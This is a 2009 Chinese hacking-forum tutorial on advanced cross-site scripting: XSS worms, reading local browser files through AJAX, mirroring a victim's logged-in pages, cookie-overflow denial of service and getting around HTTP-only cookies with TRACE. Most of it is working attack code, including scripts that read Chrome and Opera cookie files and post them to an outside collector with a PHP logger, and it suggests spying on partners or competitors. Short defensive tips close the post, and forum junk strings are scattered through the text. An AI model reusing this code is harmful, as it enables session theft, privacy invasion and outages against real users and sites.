XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
5 A6 `2 R6 n0 B$ y: \7 U本帖最后由 racle 于 2009-5-30 09:19 编辑

+ b2 V* {7 C+ y8 R4 d- NXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
! t! M, ]  r* S7 E# f! o0 |By racle@tian6.com   
% }) t5 k0 x1 t$ n' s* ^: Fhttp://bbs.tian6.com/thread-12711-1-1.html
3 t/ ~. y6 {0 F转帖请保留版权
( u; w8 r7 q7 q' J0 ?# J# S) I
  E1 r. ~9 M; a
& k! n1 e" k! {3 z! X" T( Z
3 k0 \* h, u+ t; Y1 @. u- B-------------------------------------------前言---------------------------------------------------------


7 O8 r: Y4 J2 D2 \  ?. B本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

4 M0 {1 I  h+ N" ~2 j4 A" @1 {: }* q
如果你还未具备基础XSS知识,以下几个文章建议拜读:
6 d3 K! @* P8 r/ z) W0 C5 dhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
: z( g' F* i8 r0 `2 ?! M/ ^4 khttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

" o" p5 G. j; j( ]# s8 m; k* U* O


如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

3 I7 \) r, {, e- \希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
" E; ?4 d$ |5 N6 t
- q3 f6 }& n% `' m" ]8 W1 A如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
% g! x1 [+ _9 y- C# j
; r% r' A* y. A& t/ {Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
) [. F8 t  G: e* L6 Q
QQ ZONE,校内网XSS     感染过万QQ ZONE.
! Q* H7 @+ c5 g. z
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

6 J$ ~, \8 }3 j6 W) _3 B..........
! a9 s3 E8 j, B9 ^) @7 d复制代码------------------------------------------介绍-------------------------------------------------------------

9 v2 w, u* D3 R1 F% k8 [1 v什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
$ a3 [& r! U9 e! a4 i- o- `( O

+ y0 E" q1 w: O6 L2 u/ V
: \' J4 f/ ]. u- k; J0 ]* O跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
' e* F8 C* i& l/ @: F3 x7 h5 C
+ {& j+ P6 Y& p/ i3 X
# C5 H% q: ]* ]% P
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
- S+ s+ k% ]/ T6 f( u" B复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
0 q6 w, W6 Z/ k  u% G我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

: O, ~3 F* d' ~6 G3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
; @9 N5 T6 b$ _! e! o
; p& @9 K. W8 p1 k1 u
' h4 M8 x9 `' {5 ~
------------------------------------------研究正题----------------------------------------------------------
5 u+ @  M2 {/ E

3 W+ T. R- {. {2 F
+ ?2 u) O5 u: Y2 Q2 ^通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
& O' e+ Z; y- A; v  Z复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
! P: R: w- e' Z8 m( ^# r3 G复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
$ \- g& g3 L" @0 V  U% F2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
$ s% j* _3 t: y# U3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
  A5 z7 R& P9 |  i8 R( p* b
3 J" e  [1 \( w# L% g" K) U
+ V/ y+ m, c9 K) E

' p) |( |, \- f; m9 ?
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

, S# E8 o+ \# t; O: z) n

+ b. y7 z% i7 z0 G  g    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。



8 m, r6 B. N! [& H( X    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
1 t" a; S; d4 g- ?6 S% ]
# @7 F+ D& o- {6 v    function $(x){return document.getElementById(x)}


) y+ \& ~& B& j- U0 P6 z
    function ajax_obj(){

0 x8 v  Z' g* Y* n; b4 G% h# c    var request = false;
4 d+ w; g6 Q/ p( f  z
    if(window.XMLHttpRequest) {
! q+ C7 z4 t. R5 t' R9 R8 h- I  O
* x! \4 t" _& G# H  `  {7 Z5 ^    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
* {9 G6 q9 b$ K2 H
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


' k  \5 W- J9 h5 b
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
* A' o( u: H+ u! c$ S- {
0 d  ?5 u6 o& ~    for(var i=0; i<versions.length; i++) {
; d; f- c" P+ Y+ ]# L, H
    try {

: M2 W& L+ e8 `7 O) Q4 w    request = new ActiveXObject(versions);

; E! j1 a. O/ ~) ?! h: s    } catch(e) {}
# F0 Y. S/ k  G3 f( Y
    }

* J9 }. q8 X- j3 {, T    }

    return request;

    }

4 q3 d/ A8 z! ?, V* q. j    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
0 g6 P; z  N4 i- a  X
4 N' x2 l$ J2 H7 ~    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
. D& C* Y1 X! b1 X2 Z
& {5 ~" s( q# n9 p5 Y5 }$ W    return _x.responseText;
1 {( Q6 |: Z5 {: v  H
    }

6 s2 R& [) s* o
3 X3 O0 d* o/ I) r
- t" w# E9 ]$ s0 w2 x0 K5 B    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

: U5 W$ v3 \! y5 F    alert(txt);

% H* p6 a% z, U
+ t. P( \  Z" u4 [* I: K
5 O) j$ v3 _# }1 I- m/ h+ ?8 b0 V$ v    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
5 o( a+ N8 S% c2 t6 O3 r3 V9 r
    function $(x){return document.getElementById(x)}


! j: w3 p) ^& e. |
    function ajax_obj(){
. x; I# i+ W9 l) D7 f
    var request = false;

8 h1 q3 \7 ^9 g! y    if(window.XMLHttpRequest) {
1 q( m; V& B2 ~" A- V9 a
' r& v4 b- J: q4 c% X    request = new XMLHttpRequest();
8 `  X- h6 g8 ?/ b& N
    } else if(window.ActiveXObject) {
. l) ]) k% o! ?$ J
: @+ ?- i4 d( k; d' f1 y4 V% j    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
- f1 N0 c9 r! z! r3 y* R/ F2 a


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

; A) b% }. k. l. x. b+ ]    for(var i=0; i<versions.length; i++) {

    try {

; y; A4 y2 n+ e6 Z# V( I    request = new ActiveXObject(versions);
+ [  \) i& }! Z( l0 @
    } catch(e) {}

" \4 f( E& R- L  F# h) x- r    }

    }
: ]9 L/ x* m& y1 ?" B9 O
- B9 R6 F6 B5 U    return request;
* p* i- v6 \7 i' k: u
    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

3 i4 D5 n: f' X7 i# n2 e    _x.open(_m,action,false);

4 P2 R3 [9 e5 \* z( |" q) _    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
* [+ j7 S; m8 _" s- s( K) e
    return _x.responseText;

* j( ^4 D! p+ T8 s! q4 g+ |2 ]    }
# ^2 D# \- ~2 @! s' r; r9 P' n% w

8 F% O3 g9 s7 l0 [! Y( X6 O
    var txt=_7or3("GET","1/11.txt",null);
1 Q1 j* v; W2 v  c4 B
9 G7 b) m+ Y& I9 H    alert(txt);
, J9 H/ F2 C6 q' N6 E

! t2 F% V: ^  V- ?
, }5 \9 E+ @2 w0 w# U    </script>
6 x6 m1 N; B! U复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
2 A: Y% Q2 q/ x+ i7 C" o& K
& V3 T$ o8 F/ u8 {1 w- `) t. O

. q# ]& J' ~0 F5 Y, ^) W* W  yChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



- {3 q. ^" Q3 G8 F<?   

& z, r% F$ ~3 A2 w1 C% }7 n/ k% I/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

$ w1 W. K" D1 g+ `. ^     www.inbreak.net   
. a6 K" C0 `, y! c7 W$ ]
     author voidloafer@gmail.com 2009-4-22   

$ c& U0 t, x. I: v! h# K  x. ^/ i     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  

4 ]4 m& t/ o+ Q: S" F+ @header("Content-Disposition: attachment;filename=kxlzx.htm");   

! p) P: U1 R* o& I% theader("Content-type: application/kxlzx");   
4 e% W5 S7 }4 D! z  F! d: i3 v
# ^# x4 f4 n+ H/ S$ t4 C: s4 m/*  

( J5 V* H' T# A3 W" Y3 Q     set header, so just download html file,and open it at local.  

*/  
5 s$ p% F1 {% p, w
% r* S, w  }% u! A?>   

2 g* l; b/ a# t2 k( V<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
) H; O, |7 R: _" x; i* Z- B
. }3 {& {0 }5 S* [! M& q% u' Q     <input id="input" name="cookie" value="" type="hidden">   

- ]) i" g3 D3 Y</form>   
! ]9 P0 V& [! K0 X8 Z
<script>   

function doMyAjax(user)   
& ~% y5 T! z+ q: @
{   

var time = Math.random();   

/*  
8 h9 [& E6 |9 @/ ?7 o
1 V8 A7 Z4 U, k  M1 h7 ?the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
% m- D, S; \5 i
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

: ?2 b9 w$ ]8 h' ^" _and so on...  
/ o  C1 i4 N$ S, Q; J
% w4 A8 e; p  y& y+ [*/  

: G4 e( {3 ]+ cvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   
3 M+ _0 g" ~0 l) E
1 ]3 E: x' C$ g* ^: n# g' BstartRequest(strPer);   
. D+ k7 Y! v! j- N) L


}   
2 ]  v4 u6 A, K& c7 v
   
- c8 e. x4 c8 z$ C8 T4 `
. _: R# e- ~; D0 ffunction Enshellcode(txt)   
# E: i  L8 X: U
{   
5 |7 }% d1 U! ^8 Y
5 ~: }$ _9 o! A& F; |) Qvar url=new String(txt);   
6 p( ?& h9 {0 [  ~* y
) L; ?% m5 S% g5 t3 j/ E. svar i=0,l=0,k=0,curl="";   
& c3 P! O7 K3 x) X! {& m
l= url.length;   
9 C4 w$ p3 ^( o' L" m! Z
5 B6 Z  O8 h- j* r. lfor(;i<l;i++){   

k=url.charCodeAt(i);   
3 K( d+ ?) z) d! V2 Z3 D
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

) m' ^  A- A, d! kif (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
, |/ e; W. Z4 i/ x
6 i9 S5 u7 Y# N  f4 N- Yreturn curl;   
& V3 Q0 A2 }! s5 h9 i2 `
}   

- `; Y$ V! j0 a- D) ]9 Y' [   

   

var xmlHttp;   

function createXMLHttp(){   
% U  B- Y0 s, K7 q- B
7 T7 C3 `* D- u  I0 y7 C     if(window.XMLHttpRequest){   

# L$ s$ _- C0 L4 z6 l7 q0 FxmlHttp = new XMLHttpRequest();           
  ]5 _6 r" Y' k  ~" t% e
     }   

     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   

}   

   
  @( v2 P4 H( T) D
' A% R! @' i/ J7 Ufunction startRequest(doUrl){   
( [$ G0 l9 V0 I4 L+ Z
   
6 b8 c) K! y  o3 {
     createXMLHttp();   
8 r' Q" P0 T8 s) a0 ?

6 w* @# I/ X( K; Y. C
     xmlHttp.onreadystatechange = handleStateChange;   
& d" d+ j/ m: L. J7 q; V


     xmlHttp.open("GET", doUrl, true);   

# {3 U, W  B+ t. ^+ D+ M$ J
8 D  H! U1 J! t& c$ z3 F
     xmlHttp.send(null);   
$ f5 \. q5 F6 |$ E

& x6 P# P; ~) g0 V. F! d

5 `( }( @, r- W% Q8 j
}   

; F/ o6 R2 s: F* f! ~   

8 T: c, U+ V( V" ^" h5 j- C2 Hfunction handleStateChange(){   
6 N4 y( J  V, w% a( ^2 I: }
     if (xmlHttp.readyState == 4 ){   
: W. ^- E* _2 J
     var strResponse = "";   
/ U7 W1 T7 \7 g+ w
! ~; F0 [/ H/ c6 {9 a: V% _2 i% v     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        
/ L3 @1 ~8 @1 ~
6 x- L/ b0 U+ K6 o5 i     }   
! M& N" @6 O% v' r
}   
5 c4 |0 B% \" m7 b6 ?5 Z" D4 t, G# u
0 u4 S! Y1 P/ k5 x5 N   

   
5 i, \# p% c$ u7 D9 |% F7 {" k
5 u8 z: x* T9 n! s2 xfunction framekxlzxPost(text)   
9 w7 w3 m; c% B, J* N! _
2 ?, O2 M8 s+ m3 g$ v{   

     document.getElementById("input").value = Enshellcode(text);   
: M# [* d) g; v$ e# ~& p
9 J& W: ]( [+ @1 q+ @8 \$ ?     document.getElementById("form").submit();   
  I+ ?+ k1 {0 W$ b9 U. T  q
3 H+ H4 q5 J1 F& J0 T. x* v- N+ |) n}   

  m6 J; `8 P' @# _( \   

doMyAjax("administrator");   

   
' |0 s; e7 E, V
( B4 e+ I& m0 b, x1 n</script>
4 ~7 V2 E2 _; Q3 w复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
, Z! u  O7 F6 c! E( @
$ H7 u5 M& M# x+ ^  G( o" fvar xmlHttp;  
+ n" V" K8 p& c* E
0 ?. W7 _, p3 S$ ~2 B) Ufunction createXMLHttp(){  
& w; f: r" R3 J" P9 H. Y  a6 w# T
7 \6 p: H3 A" e" s, ?     if(window.XMLHttpRequest){  

' A. Q4 y* n" U" N" f         xmlHttp = new XMLHttpRequest();         

8 z0 T* }* j' n     }  
, i, @" W9 I2 g  L
2 @! f2 K* q, f% O% G+ k/ a: D     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
$ a. j5 G5 S" \9 W* a7 z3 L
: R+ m2 G' Y4 {! Q8 O: ?( L     }  
: w: \. H2 s( I/ f8 _
7 B( k# m2 Z% }6 e3 `% t* ?( S}  

4 }. G! L6 u3 z2 J- p( ^, I* Q   

function startRequest(doUrl){  

$ V+ E( M! a8 S! k* T7 |* \           
: B# }9 c$ f1 W0 G% k* P
/ U2 I+ U+ f9 p7 g3 s     createXMLHttp();  
; D( [9 ?* [# }5 m
  t5 u  N6 E8 z7 \' G7 A      
: Q) _  x! {& }  U; `' M3 ?
3 c' b1 z* s6 K  ~3 l+ j9 I; J     xmlHttp.onreadystatechange = handleStateChange;  
% \; Z4 Z; P- F0 o2 q
* l' j+ T" W" }$ R2 l, b1 g# }      

( O# E! y$ \" O# U( ^( h0 J! _     xmlHttp.open("GET", doUrl, true);  

+ I3 C  K& f! U2 I      
3 }' u+ S  A2 G6 ~$ D
$ d& a6 O- H0 d$ w$ C* ?- e# G7 w     xmlHttp.send(null);  

+ ~, t8 W7 @2 l0 f      
# C& h# p1 D/ ?  W) O
      
# J1 `- e# g; }
2 t, P0 R6 a/ o- T}   
/ K9 e+ O7 Q) k/ R2 `% @2 L8 S
   

function handleStateChange(){  
( Z( L4 Q, K' E) Z$ u1 ~8 N* K
# G5 J1 d2 v' P3 W$ _     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  
% C1 ]1 x) L+ M& L: s' E
7 U! h6 t7 ^3 }- A" X- i             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
+ l: h/ s- X( A2 g
5 N7 L- B( }% G6 M+ T  U               
  `' c( g: o% `6 C9 s* c: o
     }  
8 |8 Z, V. n0 U% @
}  
& Y/ {' h" P4 i# o9 E5 X/ I! i
   

function doMyAjax(user,file)  
! n/ P% l: B: g' }' i$ K& R
7 l0 P4 o1 h# M) y# ]& }{  

         var time = Math.random();  

, e! ]# d5 u6 A$ k  o8 `           
0 C2 Z: L/ ]8 q5 q# N
/ J5 Z; y( i. b5 w4 O) s# |$ z4 ~         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
+ _! c( `1 }6 y6 v
           

         startRequest(strPer);  
$ x, w. |& P. M. |& ^2 h  k
      

}  
. Z  ?) B2 H0 U' v/ O! q& D# B
   

function framekxlzxPost(text)  
1 n( ^' k9 s3 V( z- V- D) z9 H
{  
' b' d3 H, g. T/ J: r6 {0 `
- H8 W( L; y- P5 A4 _/ I     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

% x+ y* C7 |0 Z: m' L     alert(/ok/);  
$ r5 x# H$ t1 Y3 @! I
' v) {9 u5 Q/ ]- F' M7 @}  
& U1 f1 a# j2 l5 ~" t' M$ d0 L$ v
   
* t: y% m% s$ f. e# \- q* F- G
1 y8 J& I% d3 l5 kdoMyAjax('administrator','administrator@alibaba[1].txt');  
9 U0 V5 z4 ~2 r# L+ g
   
/ b( m/ ?- p1 A0 Q
</script>



$ x3 l' F+ j9 U0 F+ G+ ^6 S
- n; m' c  {: T! o& r* ?5 Y
1 P2 i+ q0 }( Q$ M, U: Ua.php

5 G% Y1 {$ {" n5 ^9 U. H1 A2 M9 L% M
8 }  ?6 P0 T) P( D3 R% [
<?php      
8 i; B* S3 O7 _- }! o3 \
# G# o: g5 u+ D( U   
* r- Q* ~- S" _# @' V! ?
* Z8 l$ j8 S  a1 y5 J. j& _$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$ p! Q$ X9 D2 ]! Y( g$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
2 |5 r  j/ v; b1 W+ T8 B, w/ [* x9 @
fclose($fp);   
: z: m% w8 h2 A9 v. ^4 `: [
?>
7 G- g/ S6 Q+ n复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

& F+ s% }2 S' i8 s# U( ]9 D或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
8 t" K. `8 c. R! o4 ?6 l4 n利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
4 S3 j1 K6 @1 N5 x2 b$ ]0 i
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
/ _! ^6 h# D+ g8 R
, k. x0 A; f" s9 @* h0 p: O//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
4 |/ L1 x0 U, d9 I- p3 P
function getURL(s) {
; w4 M$ s& X% @/ Y' f" U* F
7 c6 T, R" ^" ^$ zvar image = new Image();
! T* P% X. t. e% Q0 G
image.style.width = 0;
% ?, K* p( O2 n* |/ w' r
image.style.height = 0;

image.src = s;

/ g: W1 d  p' d) X/ T' Y9 Y5 I$ H}
7 {' x, L) U( E/ s0 ]
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
( S# }0 h' o, a5 y% K复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
( `% o6 \! J' z. w5 i" n& d这里引用大风的一段简单代码:<script language="javascript">
2 C" M" J, D  @% T0 o$ C# h
$ ]$ C' |! n( f% ?. W' fvar metastr = "AAAAAAAAAA"; // 10 A

3 t- O0 _5 S5 v( L1 s2 U5 gvar str = "";
4 B7 V- \( Q5 I4 H) u; u2 Y3 y: g
while (str.length < 4000){
9 F' w% a0 [* ~
    str += metastr;

}
& U& G5 J8 d- q; O. K2 s

5 V9 N  `( V4 A6 Y6 |$ T* u2 B
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
0 V; F/ ]8 i& m" }
</script>

3 ]( B$ ~/ y2 H4 t8 z6 D详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
- h6 x: Z5 F2 t# B8 Kserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

$ V0 Q- w" V! ]( C  R6 }假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

7 u+ O" x) Y. n0 p, [* a
7 c; r8 e. y- F7 v, E2 n

# v! b7 s8 G. O# W* ]; T/ E5 R0 `
6 R/ V7 P. A  N
& K* @7 k% ]; e* B3 _(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
9 N# d! R: Q+ k- h$ w- p/ R以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
7 a/ K4 X; A0 v. j2 A1 R
<!--

. D0 D) Z% p- K, K1 H0 e+ }function normalCookie() {

8 V) K; @$ h; @6 ~4 wdocument.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

# P2 D, d& u4 K% R9 _% ~9 C; j}
3 Z) B7 M# Z: X  q8 v
0 S5 E1 z" ?/ l5 X2 L- w



function httpOnlyCookie() {
. Q1 p, ]8 L; k5 E% Q) D
) F. G6 ?6 P$ E0 a, J. M" kdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
8 @& }( c  ?# t. o7 c
9 {) t6 d; D$ Z2 ^& P( A7 |; E5 Talert(document.cookie);}

- b7 L0 U) ^0 W, E+ o$ ~
" F, w9 A3 J6 z) {  ?
//-->

</script>

, X* U/ W' c$ X) G( H

5 m* o" Q$ o. |/ \% `<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
6 P3 g) I4 j5 V

! y. I0 H6 a8 v2 @  }' Y4 O
% W6 z, k: Q/ j6 ?, @var request = false;
* C% G8 r, C( u# F
        if(window.XMLHttpRequest) {

; {# U1 [; A8 W' g; o% @3 l; D            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
8 b! W0 P/ o* s
5 y+ ?  o' x( E' U- a                request.overrideMimeType('text/xml');
* U, ?1 I" q- `9 S# A0 D
            }
+ S5 o9 l# W$ e. H0 ]0 W
. E/ g0 b' J9 g  G5 b        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

  q: H/ N  G+ [& S                try {
& J. u) N/ ~/ B  N: e
" u: M" h$ v, w' E  l$ U! A                    request = new ActiveXObject(versions);
) b! a. C( n% n' ?5 ]* [8 ^2 B
                } catch(e) {}

            }

        }
. V1 N) @7 k/ C# ~/ H$ E
xmlHttp=request;

1 x" @  v0 t7 N" o8 `xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
9 q% u5 s( x# L2 @, W: i
" {7 s# P7 K) M! r% exmlDoc=xmlHttp.responseText;
2 }1 ]5 F% _4 c. t# \9 p% ~) `& g( w
6 t# s1 x! Q5 _, }% M: v" Halert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
$ u) L* O* f7 S) S# W9 }# \2 J
' b1 g" \& G; f! g8 Jvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
9 h4 E6 G( |( O4 T1 J
6 m; N$ c9 M; f( L1 z! S; C- rXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

2 K* `2 U/ Q$ h! a1 ivar resource=xmlHttp.responseText
6 Y1 n8 Y+ I& n, @8 l' m+ t
) q$ V! o0 g/ R' z% Oresource.search(/cookies/);
* f9 q; R! f% A) C; @( f8 }
......................

</script>
, D' v$ c' |- i1 s* A. w& u6 r
# |6 K( `$ j; V" a/ K9 F


# `  r+ I2 o) f7 k. `8 I& D
7 X8 H  |, }9 Y" U8 L2 C如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
: j( N3 B. f: E$ J! R7 V' Q# U; m
[code]

- P. B  L; J* ^- h8 `. FRewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]
+ T# ?. Z- R. `2 P1 p9 v& K- I2 Z


Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

' v6 R4 [: V& C( o. _acl TRACE method TRACE
/ b/ ~5 r) Q. u: t
...

) y. E" O8 F2 D* v8 E/ r; I- [2 Dhttp_access deny TRACE
